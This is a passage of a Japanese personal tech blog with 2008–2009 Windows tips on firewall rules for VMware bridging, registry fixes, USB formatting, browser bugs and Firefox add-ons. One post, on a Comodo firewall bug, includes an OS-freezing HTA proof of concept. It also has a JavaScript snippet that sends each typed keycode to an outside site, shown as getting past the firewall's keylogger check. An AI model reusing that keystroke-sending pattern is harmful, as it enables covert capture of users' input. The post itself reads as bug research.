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Outpost + VMwareでブリッジ接続するための設定メモ
投稿日時 : 2009-06-16 16:13
更新日時 : 2009-06-23 07:49
 Windows + Outpost環境でVMwareのゲストOSが物理ネットワークとブリッジ接続で直接接続して通信するにはOutpostの少し特殊な設定が必要だが、日本語ページに確定的でまとまった情報を見つけることができなかったのでメモ。
 

状況

 Windows + Outpostの環境でVMwareでブリッジ接続を使用するとゲストOSが外部と通信できない。Outpostでvmware.exeなどのVMware関連ファイルの通信を許可しても変化なし。OutpostをDisabledにすると通信可能に。NAT接続は問題なし。
 

ソフトウェア環境

  • Windows XP Pro SP3
  • VMware Workstation 6.5.2
  • Outpost Firewall Pro 2009
 

ネットワーク環境

ネットワークアドレス192.168.0.0
サブネットマスク255.255.255.0
ホスト物理インターフェースIP192.168.0.5
ゲスト仮想インターフェースIP192.168.0.6
インターネットゲートウェイ192.168.0.1
 
VMwareの仮想ネットワークアダプタは物理ネットワークアダプタに直接ブリッジ接続。
VMware Network Setting
 
VMwareの仮想ネットワークの状態は以下。今回はブリッジ接続なのでVMnet0だけが関係する。VMnet1とVMnet8はデフォルトの状態からいじってあるが、今回の設定には影響しない。
VMware 仮想ネットワーク エディタ
 
VMwareのネットワークについては以下が非常に詳しい。
 
 

設定が有効なOutpostのバージョン

 今回の設定が有効なOutpostの対象バージョンは以下の通り。
  • Outpost Firewall 2.0
  • Outpost Firewall 2.1
  • Outpost Firewall 2.5
  • Outpost Firewall 2.6
  • Outpost Firewall 2.7
  • Outpost Firewall 3.0
  • Outpost Firewall 3.5
  • Outpost Firewall 3.51
  • Outpost Firewall 4.0
  • Outpost Office 1.0
  • Outpost Security Suite 2007
  • Outpost Security Suite Pro 2008
  • Outpost Security Suite Pro 2009
  • Outpost Firewall Pro 2008
  • Outpost Firewall Pro 2009
 

手順

 解決策をOutpostのサポートページで発見。
 

 
手持ちの環境がOutpost Firewall Pro 2009だけなので、上記サポートページの「For Outpost Firewall Pro 2008/2009 and Outpost Security Suite Pro 2008/2009」の部分だけを示す。
 vmware.exeやその他のVMware関連実行ファイルに個別のアプリケーションルールを新たに追加する必要はない。NAT接続の場合も基本的にOutpostが自動で作るデフォルトのルールだけでOK。
  1. Settings > Network Rules > System-Wide Rules > Low-Level Rulesを開く
  2. 「Add」ボタンを押して「Edit Rule」ウィンドウを開く
  3. 「3. Rule transcript」の「Where the protocol is」が「IP」になっているのを確認。「IP」になっていないならその文字をクリックして表示されるウィンドウで選択。
    Outpost Select Protocol
  4. 「Where IP protocol type is」にチェックを入れると表示されるウィンドウで、以下のように「ICMP」「TCP」「UDP」を選択する
    Outpost IP Protocols
  5. 「Where local address is」にチェックを入れると表示されるウィンドウで、以下のように対象IPアドレスを指定する。
    Outpost Select Address
    ゲストOSのIPは固定IP推奨。もしDHCPなどで動的に割り当てたいのなら、ここはIPアドレス+サブネットマスクで範囲指定する。追記(2009-06-23 07:49):また、DHCPのブロードキャスト(255.255.255.255)と、そのとき使用する確定前送信元IP(0.0.0.0)も通るようにしておく。
    Outpost Set IP Range
  6. 「3. Rule transcript」内の最終行が「Allow」になっていることを確認する。
  7. 「4. Rule name」を適当に編集。最終的に以下のようになっていればOK。
    Outpost Low-Level Rules
     
    追記(2009-06-23 07:49):DHCPで割り当てる場合は次のようかんじになります。
    Outpost Low-Level Rules Range
  8. ゲストOSからpingその他で通信確認する。今回の環境ではゲストOS自身(192.168.0.6)、ホストOS(192.168.0.5)、インターネットゲートウェイ(192.168.0.1)、Google(www.google.com)でpingが通るのを確認。
 
 
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2009-06-16 16:13 | Windows | Comment(0) | Trackback(0)
「このコマンドを処理するのに必要な記憶域をサーバーで確保できません」
投稿日時 : 2009-06-06 05:21
更新日時 : 2011-05-18 17:22
 Windows上の共有フォルダをネットワークのドライブに割り当てようとすると環境によっては以下のようなエラーメッセージが表示され、割り当てできないことがあります。
このコマンドを処理するのに必要な記憶領域をサーバーで確保できません
 
このエラーメッセージでググるとけっこうたくさんヒットするので、よくある問題のようです。
 

一般的な解決法

 この問題の一般的な解決法は以下のレジストリキー
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
にある、以下の名前のエントリ
IRPStackSize
の値を10進数で「15」、16進数で言うなら「f」に設定し、Windowsを再起動するというものです。
 
IRPStackSize 15
 

IRPStackSizeが存在しない場合

 IRPStackSizeが存在しない場合は、右クリック→「新規作成」で「DWORD値」
new dword IRPStackSize
名前を「IRPStackSize」に変更(注:大文字小文字の区別あり)→値を「10進数で15」に設定という手順で新たに追加してください。値の設定後Windowsを再起動すると反映されます。
 

IRPStackSizeを15にしてもエラーが出る場合

 しかしウチもそうだったんですが、環境によってはIRPStackSizeを15にしても問題が解決しない場合があるようです。こういうときは15以上に値を増やせばいいとのこと。
tkoshima.net
15でだめなら3づつ増やせばいいらしいが、面倒なら50まで大丈夫そうです。
とのことなんですが、ウチの環境では「10進数で16」にしたら解決してしまいました。
IRPStackSize
 

Microsoftの公式サポート情報のまとめ

 3つずつ増やすという情報のソースも気になったのでさらに検索するとMSの公式サポートに情報発見。
 
ウイルス対策ソフトウェアが原因でイベント ID 2011 が発生することがある
LANMAN サーバーでの IRP スタック サイズの変更
 
まあいろいろ書いてありますがまとめると以下のようになるかと思います(WindowsNTに関する情報は無視します)。
  • Nortonなどのウィルス対策ソフトがIRPStackSizeを書き換えることがある
  • Windows2000/XPでは、IRPStackSize のデフォルト値は15で、範囲は11 ~ 50
  • IRPStackSizeが存在しない場合はデフォルト値15が使用される
  • IRPStackSizeを新たに追加した場合は、15よりも大きな値を入力しなければならない
  • 値は3ずつ増やすことを推奨(つまり、前の値が11の場合は、14)
値を3ずつ増やす根拠は結局判明しなかったが内部処理的に都合がいいということなんでしょう。ウチでは16で何の問題もなく動作してますが、本当は15+3で18に設定するのがベストっぽいですね。
 

おまけ:Linuxからmountしようとしたときのエラーメッセージ

 IRPStackSizeの調整前のWindowsの共有フォルダをUbuntu9.04からmountしようとしたときのエラーメッセージは以下のような感じでした。
itmst@Ubuntu9:~ $ sudo mount -t cifs //192.168.0.5/z /mnt/5z
Password: 
mount error(12): Cannot allocate memory
Refer to the mount.cifs(8) manual page (e.g.man mount.cifs)
うん。これはWindows側の問題かどうか判断しにくいですね。このエラーメッセージが出たときはWindows側を疑うようにしましょう。
 
 
2009-06-06 05:21 | Windows | Comment(3) | Trackback(0)
USBメモリをNTFSでフォーマットする
投稿日時 : 2008-09-15 01:50
 PATRIOT X-Porter BOOST USB2.0 8GBで2GB以上4GB未満のファイルを読もうとするとCRCエラーが出ることが何度かあった。デフォルトのファイルシステムのFAT32の4GB制限に引っかかっているわけではないのは確かなので、あとは物理的な故障の可能性が高いけどなんとなくFAT32がダメな気がしてw、NTFSにフォーマットしてみようと思い立った。が、ドライブの右クリックメニューのフォーマットにはFAT32しか選択肢がない。調べるとこんなのが見つかった。
 
リムーバブルメディアの NTFS フォーマットについて
 
要するに「ハードウェアの安全な取り外し」を使わずにリムーバブルメディア引っこ抜く人がたくさんいるのでデータ破損を避ける為に遅延書き込みなNTFSフォーマットには簡単に変換できないようにしときましたということらしい。
 

■設定

 以下の設定をすればいいらしい。
リムーバブルメディアの NTFS フォーマットについて
[マイコンピュータ] よりドライブを選択し、 [プロパティ] -> [ハードウェア] -> [全ディスク ドライブ] から当該リムーバブルドライブをあらためて選択し、 [プロパティ] -> [ポリシー] の [書き込みキャッシュと安全な取り外し] のオプションを「クイック削除のために最適化する」から「パフォーマンスのために最適化する」に変更します。
 
usb memory setting 1
 

■NTFSフォーマット実行

 これだけでドライブ右クリック - フォーマットでNTFSが選択できるようになっています。既存データは削除されるのでバックアップは忘れずに。
 
format ntfs
 

■Acronis Disk Director Suite使えば設定なしでいける

 後になって気づきましたがAcronis Disk Director Suite 10.0使えば何もせずにNTFSフォーマットできますね。ただしDisk Directorでも既存のデータを保ったままのフォーマットはできないようです。
 
acronis disk director
 

■「クイック削除のために最適化する」に戻す

 やっぱりリムーバブルメディアはいつでもリムーバブルでありたいのでさっき「パフォーマンスのために最適化する」に設定したのを「クイック削除のために最適化する」に戻しておく。
 

■その後の経過

 NTFSフォーマット後今のとこCRCエラー問題は再現していませんが、やはり物理故障の可能性も十分あるのでもうちょっと様子見。
 
 
2008-09-15 01:50 | Windows | Comment(0) | Trackback(0)
Sleipnir2.8.1のサイトルート相対パスの解釈がおかしい
投稿日時 : 2008-09-10 11:56
 『SleipnirでGMarksもどきを実現してみる』と同じ手順で追加したRSSフィードが「通信エラーが発生しました」と表示されてデータが受信できない。
 
Sleipnir Gmarks Error
 
とりあえずSleipnir再起動したりしてみたけどダメだったので手順をワンステップごとに確認していくと追加フィードのURLがおかしいことを発見。
 
Sleipnir Gmarks URL 変
 
http://www.google.com/bookmarks//bookmarks/lookup?(...略)
なんだこれ?
 
以下のように修正。
http://www.google.com/bookmarks/lookup?(...略)
 
これで問題解決。
 

■原因はSleipnirのサイトルート相対パス解釈のバグ

 原因ですが、これはSleipnirのサイトルート相対パスの解釈がおかしいと思われます。Sleipnirの「フィードの追加」が見ているだろうlink要素のソースは以下のようになっています。
<link rel=alternate type="application/rss+xml" title="Google ブックマーク" href="/bookmarks/lookup?q=label:Win32API&hl=ja&num=1000&output=rss" />
href属性のURIが「/」から始まっているんだから、これはサイトルート相対パス(またはコンテキスト相対パス)と言われるやつでサイトルートである「http://www.google.com/」からの相対パスでなければなりません。これをドキュメント相対パスとして解釈しているものだからGoogleブックマークのドキュメントルートである「http://www.google.com/bookmarks/」の後ろにくっつけてしまって「http://www.google.com/bookmarks//bookmarks/」みたいなおかしなことになっていると思われます。
 
 昔は問題なかったわけだからいつかのアップデートで紛れ込んだっぽいですね。
 
2008-09-10 11:56 | Windows | Comment(0) | Trackback(0)
Comodo Firewall ProでOSをフリーズさせるJavascriptコード
投稿日時 : 2008-08-28 17:16
 フリー(無料)で高性能と噂のファイアウォールComodo Firewall Proを導入しようか検討していたんですが、自作のHTAアプリ起動したらOSを巻き込んでフリーズすることを発見。
 

■症状

 HTA内にJavascripのキーイベントハンドラー(onkeydownなど)やマウスイベントハンドラー(onclickなど)とXMLHTTPの2つのコードが含まれている場合に起こります。HTAを実行するとDEFENSE+の実行許可ダイアログが出て、通常なら「OK」ボタンか「Cancel」ボタンを選ぶわけですが、ボタンが押せません。Ctrl-Alt-Deleteもダメ。とにかく何もできなくなります。再現率も100%。これは明らかにバグなんじゃないでしょうか・・・
 

■環境

・1GHz/512MB
・XPProSP3
・Comodo Firewall Pro 3.2.25.378
 

■DEFENSE+の設定

「General Settings」タブ。ふつうにデフォルトのオプションでインストールしていじってません。
comodo setting 1
 
「Monitor Settings」タブ。今回のはここの「Object To Monitor Against Direct Access」の「Keyboard」に反応してるようです。
comodo setting 2
 

■実証コード

 問題のフリーズするコード。テキストエディタに貼り付けて「.hta」で保存して実行。もちろんOSがフリーズする実証コードなので自己責任でそれなりの環境で。
 
はじめは以下のような感じのコードに反応。
<html><body><script>
document.onkeydown = function(){alert(event.keyCode)}
var http = new ActiveXObject("Microsoft.XMLHTTP");
http.open("GET","http://www.yahoo.co.jp/",false);
http.send();
document.body.innerText = http.responseText;
</script></body></html>
 
どこに反応してるのか絞り込むためコードを適当に削ってみる。これでも反応。
<html><body><script>
document.onkeydown
var http = new ActiveXObject("Microsoft.XMLHTTP");
http.send();
</script></body></html>
 
で、最終的に以下のようなJavascriptとしてまったく動作しないコードにも反応。つまり実際の動作を見てるのではなく、単にキーワードに反応してるだけということが判明。
<html><script>
onkeydown Microsoft.XMLHTTP
</script></html>
フリーズ時のダイアログには以下のようなメッセージ。VMWareで走らせればスクリーンショットとれたんですが用意が面倒なのでテキストで。
Security Considerations
mshta.exe is an unsafe application and it is about to access the keyboard directly. Accessing the keyboard directly allows an application to read the pressed keys or simurate the key strokes. Many applications use this to provide keyboard shortcut functionality. However, malware can also use this functionality to log the key strokes.
 
イベントログには「Direct Keyboard Access」と記録されていました。
comodo event log
 

■My Own Safe Filesに登録してフリーズ回避・・・できない!?

 仕方ないので条件に一致しそうなコードを含むプログラムは手動でDEFENSE+の「My Own Safe Files」に追加してフリーズを回避することにしました。
 
フォルダ単位で追加。
comodo add safe files
 
追加されたリスト
comodo safe files
 
これでいけるハズ、と起動してみると・・・フリーズ!どうやら個別にhtaファイルを登録してもダメで、mshta.exe自体を登録する必要があるみたいです。htaの仕組み上仕方ないと言えば仕方ないかな・・・。
 

■DEFENS+を回避してキーコードを送信してみる

 フリーズするバグの話からはそれますが、思えばドメイン越えで入力されたキーコードを送信するなんて別にXMLHTTPを使わなくてもできるわけで、それを試してみた。
<html><script>
document.onkeydown = function(){
	(new Image()).src = 'http://www.yahoo.co.jp/?key=' + event.keyCode;
}
</script></html>
これはスルーされましたw。
 

[参考]
SSL Free Firewall Two Factor Authentication Products from Comodo
Comodo Firewall Pro @ まとめ - トップページ
 
2008-08-28 17:16 | Windows | Comment(0) | Trackback(0)
Youtube動画(FLV)を携帯動画(3GP)に変換するメモ
投稿日時 : 2008-08-20 05:09
 お盆で実家に帰ると、つい最近まで白黒液晶の化石のようなPHSを使っていた母親が機種変したSoftBank 812SHで音楽を聴きたいというので作業。ついでにやった動画変換で少しトラブルがあったのでメモ。作業はXPProSP3/1.0Ghz/768MBの環境で。
 
 812SHの音楽ファイルの対応形式はAAC(m4a)。説明書によるとAACファイルの作成にはiTunesとか使えということだったが、iTunesは変なサービスがいっぱい登録されたりして嫌いなので、保存しておいたシェアウェア化する前のdBpoweramp Music Converterでさくっとmp3/wav→m4a変換。2GBのmicroSD内の所定位置「PRIVATE/MYFOLDER/My Items/Music」にコピーして812SHのメディアプレーヤで再生を確認。日本語ファイルもちゃんと認識(いまどき当たり前?)。
 
 動画も簡単にいけそうだったのでCraving ExplorerでYoutubeからFLV形式で動画をダウンロード。3gp形式への変換に使う携帯動画変換君をダウンロードして解凍。さらに携帯動画変換君の動作に必要なQuickTimeのフリー版をインストール。携帯動画変換君の「setup.exe」を起動(これは初回のみでOK)して「3GPPFile,音声AAC形式一般設定」を選択して「設定」ボタンを押すと携帯動画変換君の本体「3GP_Converter.exe」が起動。「QVGA高画質15fpsステレオ」を選択してFLVファイルをD&Dすると変換開始。問題なく終わりそうなところで「QT3GPPFlatten.exe」にエラー発生。
 調べるとQuickTime7.2より後のバージョンに含まれる「QT3GPPFlatten.exe」は外部プログラムからのアクセスが制限されていて、携帯動画変換君から必要な機能が利用できなくなったとのこと。そういうことなら仕方ないのでインストールしてしまった最新版のQuickTimeは削除。QuickTime 7.2をダウンロードしてインストール。
 同じ手順でもう一度変換開始。今度は問題なくFLV→3gpの変換完了。とりあえずGOM PLAYERでPC上での再生確認。microSDの所定位置「PRIVATE/MYFOLDER/My Items/Video」に保存。812SH本体で再生確認。日本語ファイル名も問題なし。
 
 
2008-08-20 05:09 | Windows | Comment(0) | Trackback(0)
NTFSで8.3形式ショートネームを生成するレジストリ
投稿日時 : 2008-06-03 03:45
8.3形式のショートネーム生成が有効でないと動かないソフトを入れる必要があったのでメモ。昔何かのソフトで変更したが何使ったか覚えてないのでregedit.exeで直接編集。
 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation
この値をREG_DWORD値の16進数で1を0に変更。
 
regedit
 
Windows再起動で有効になる。
 
2008-06-03 03:45 | Windows | Comment(0) | Trackback(0)
Firefoxの非互換アドオンを強制インストールする方法
投稿日時 : 2008-04-22 04:34
 Firefox3.0beta5が速い速いと評判ですが、2008年04月22日現在、対応アドオンが少ないのが現状です。beta5を試してみたいけど、いつも使っているアドオンが使えないのでちょっと・・・という人に互換性のないアドオンを強制インストールする方法を紹介。お約束ですが自己責任でお願いします。
 

■Firefoxが起動できなくなったときの対処方法

 非互換アドオンはものによってはまったく問題なく動作しますが、中には本当に互換性がなく、Firefoxの起動自体ができなくなってしまうものもあります。先にそういった状態に陥った場合の対処を書いておきます。
 
windowsの場合は「スタート」メニューの「ファイル名を指定して実行」で
firefox --safe-mode
と、セーフモードオプションを指定して起動します。Firefoxをインストーラを使ってインストールしなかった場合や、インストール後にインストールフォルダを移動させた場合はfirefox.exeのパスをフルパスで入力しなくてはいけないかもしれません。Linuxなどの場合はシェルから同じようにセーフモードオプションを付けて起動させます。
 
 うまくいけば以下のようなウィンドウが出るので「すべてのアドオンを無効化する」にチェックを入れて「セーフモードを続ける」でFirefoxを起動させます。
firefox --safe-mode
 
 起動できたらアドオンの管理画面で問題があるアドオンを無効にするなり、削除するなりしたら再起動して正常に起動できることを確認して下さい。
 

■Nightly Tester Toolsで互換性チェックを無効にする方法

 互換性チェックの有効無効を簡単に切り替えることができるアドオンにNightly Tester Toolsというのがあります。
設定で「Disable add-on compatibility checking」にチェックを入れて互換性チェックを無効にすると非互換アドオンがインストールできます。たぶんこれが一番お手軽な方法です。  
 ただ、公式アドオンページが最近新しくなって、互換性がないアドオンはインストールボタンに「このアドオンは古いバージョンのFirefox向けです」と表示されてクリックできないようになっている。この場合はIEなどのFirefox以外のブラウザで表示すると、このボタンが「今すぐダウンロード」になるので、いったんデスクトップなどにxpiファイルを保存してからFirefoxにD&Dするとインストール画面が出る。この作業が若干面倒なのでFirefox上で互換性のないアドオンのインストールボタンを強制的に有効にするブックマークレットを公開しています。
 
 互換性チェックを無効にすると、たとえば現在3.0b5と非互換アドオンであるFireGesturesには以下のように「!」マークがつき「Firefox 3.05bには対応していません。」と表示されるが、実際は問題なく動作する。
incompatible
 Nightly Tester Toolsをインストールしたことでアドオン管理画面の右下に「Make all compatible」というボタンが追加される。このボタンを押すとすべての非互換アドオンを互換(compatible)アドオンとして扱うようになり、「!」マークが消える。おそらく以下で解説しているinstall.rdfの互換バージョン記述部分を書き換えてるだけで、実際のコードを修正しているわけではありません。どれが非互換のアドオンなのか識別するためにも、特に必要性がないならこのボタンは押さなくてもいいと思います。
 

■xpiファイルを改造して強制インストールする方法

 次は互換性チェックを無効にするのではなく、互換バージョンを偽って申告し強制インストールする方法。Firefoxはアドオンのインストール時点ではあくまでアドオン自身の自己申告を信用するしかありません。Firefoxはアドオンのインストールの可・不可をxpiファイル内のinstall.rdfというファイルに記述された内容を元に判断しています。このファイルの互換バージョンが記述された箇所を編集してやることでFirefoxを騙せます。ただし、実際にそのアドオンが動作するかは別の問題です。
  1. xpiをIEなどでダウンロードする
  2. 拡張子をzipに書き換えて解凍
  3. 「install.rdf」の「em:maxVersion」の値を「3.0+」に書き換える(4.0+や3.0.0.*でも可。使用したいバージョンに合わせて変更する)
  4. 中身をすべて選択してzipで圧縮する(親フォルダごと圧縮してはいけない)
  5. 拡張子をxpiに書き換える(圧縮時の出力ファイルをxpiにしても可)
  6. FirefoxにD&Dしてインストールする
インストール時に以下のように「Firefoxはパッケージ中の"install-dlr..rdf"が正しくないまたは~」という感じのエラーメッセージが出るときはたぶんzip圧縮の問題です。親フォルダごと圧縮したりすると圧縮ファイル内の階層が深くなってしまい、アドオンインストーラがinstall.rdfを見つけられなくなるのが原因だと思う。
install error  
以下のように中身をすべて選択してzip圧縮してください。
compress  
 
 この方法のデメリットはアドオン管理画面でどれが互換でどれが非互換のアドオンだったのか見分けがつかなくなるということ。
 
2008-04-22 04:34 | Windows | Comment(0) | Trackback(1)
2008-2009年のWebブラウザ重要度
投稿日時 : 2008-01-31 21:19
2009年のWebブラウザはこうなる - builder by ZDNet Japan
 
Mozilla Foundationの中の人が2008-2009年の各主要ブラウザの重要度を以下のように予想した。
 
2008年 ZDNet Japan
  1. Internet Explorer 6
  2. Internet Explorer 7
  3. Firefox 2
  4. Safari 3/2
  5. Internet Explorer 5.5
  6. Opera 9.2

 
2009年 ZDNet Japan
  1. Internet Explorer 7
  2. Internet Explorer 6
  3. Firefox 3
  4. Safari 3
  5. Opera 9.5

 
ZDNet Japanにも書いてあるが妥当な予想なんじゃないかという印象。2009年でIE7がトップに。2009年でやっとIE5.5が消える。Javascriptを書く側としてはできるかぎり種類は減ってほしいw
 
Firefoxは健闘するもIE6、7の牙城は崩せず。しかしCost-Benefit(費用対効果?)という観点ではFirefoxがトップらしい。
John Resig - The Browsers of 2009
cost-benefit
まあオープンソースだしね。
 
ところで2008/02/13からWindowsUpdateで自動的にIE7がインストールされます。個人的にはデメリットしかないように思えるので入れるつもりはありません。プログラムの動作確認用に実験機には入れてありますが。Microsoftも影響が大きいことを分かっているので、この自動更新を回避するための公式ツールを公開しています。
ダウンロードの詳細 : 自動配布の無効化ツールキット
 
使い方等は以下が詳しい。
IE 7自動配布の基礎知識(改訂版) - @IT
 
しかしこういうことを何も知らない一般の人は、ある日いつも通りにブラウザを起動したら何もかも変わってしまっていて混乱するんだろうね。
 
2008-01-31 21:19 | Windows | Comment(0) | Trackback(0)
SleipnirでGMarksもどきを実現してみる
投稿日時 : 2008-01-07 20:30
GMarksもどきスクリーンショット 
 
SleipnirではGoogleブックマークが使えなくてかなり不便なので、なんとかならないものかと考えてみた。で、結局Sleipnirのダイナミックフォルダとブックマークレットを組み合わせてFirefoxアドオンのGMarksっぽいものを実現できたので紹介。
 

■概要

まあ要はGoogleブックマークが提供しているRSSフィードをSleipnirのダイナミックフォルダで取得し、その他の追加や管理はブックマークレットで実行するという仕組み。
制限事項としては以下のような感じ。
 
 ・自動ログインできない
 ・管理ページでの変更が即座に反映されない
 
自動ログインに関してはcookieが結構長く利くみたいなので、IEやIEコンポーネント系ブラウザで一度ログインしておけばあまり問題にならない気がする。変更の反映の問題は・・・後述するが手動で対応するしかないかも。
 

■作業

まずGoogleブックマークをSleipnirで開いて適当なラベルを表示し、以下のようにURLの末尾に「&num=1000」を追加してページを開き直す。
 

 
デフォルトの状態だと、ラベル内に25件以上の登録があったとしても、ダイナミックフォルダで読み取れるのは25件までになってしまう。これはデフォルトのURLで取得したRSSフィードには最大25件のアイテムまでしか記述されないから。これを「&num=1000」として開き直すことで、RSSフィードに1000件まで記述させることができる。上限は調べてないので分からないけど、とりあえず200~300件は平気そう。*登録する際にURLに追記しても可だが、一度追記してリロードすると他のラベルのURLにも自動的に「&num=1000」がつくので楽できる。
 
次にウィンドウ右下のRSSアイコンをクリック。

 
ダイナミックフォルダとして追加する。

 
タイトルにラベル名を入力して、適当なフォルダ(ここではGoogleBookmark)を作成してそこに追加する。追記(2008/09/10):『Sleipnir2.8.1のサイトルート相対パスの解釈がおかしい』参照。

 
この作業をラベルの数だけ繰り返す。
 
ラベルごとではなく、全ブックマークを日付順やタイトル順でソートしたものを登録することもできる。Googleブックマークのラベル一覧の最下部の「すべて表示」を選択後、以下のように「日付順」や「タイトル順」でソートしたものを同じ手順で追加する。もちろん総数が1000以上あるのなら「&num=1000」の部分はそれに合わせて修正する。

 
 
以下の追加用ブックマークレットも同じフォルダに追加する。「Googleブックマークの管理」はただのリンク。ブックマークレットは新しいタブを開いて追加画面に飛ぶようにしてある。
Googleブックマークに追加
Googleブックマークに選択文字をメモにして追加
Googleブックマークの管理
 
これでだいたい作業は完了。あとはSleipnirのお気に入りの整理で好みに合わせて並び替える。最終的には以下のような状態になっているはず。
GMarksもどきスクリーンショット
 
フォルダをリンクバーに移動させればGoogleツールバーのGoogleブックマークみたいにいちいちお気に入りペインを開かなくても利用できて便利。フォルダ名を「☆」にしてみるとそれっぽくなる・・・?

 
 

■変更の反映について

問題点は管理ページで追加や削除を行ってもSleipnir側に反映されないこと。以下のように該当ダイナミックフォルダで右クリックで「最新の状態に更新」すればよい。数が多いときは個別に更新するのが面倒なのでSleipnirごと再起動してしまうと手っ取り早いかも。

 
このダイナミックフォルダって一定間隔おきに自動更新できないんだろうか?右クリックプロパティの中に個別設定で「自動更新」という項目があるが、これは開いたページの自動更新のことみたい。
 
2008-01-07 20:30 | Windows | Comment(0) | Trackback(0)
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